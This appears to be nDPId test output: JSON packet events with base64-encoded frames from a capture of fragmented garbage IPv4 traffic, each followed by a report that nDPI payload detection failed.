+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81602,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81771,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81930,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81992,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82054,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 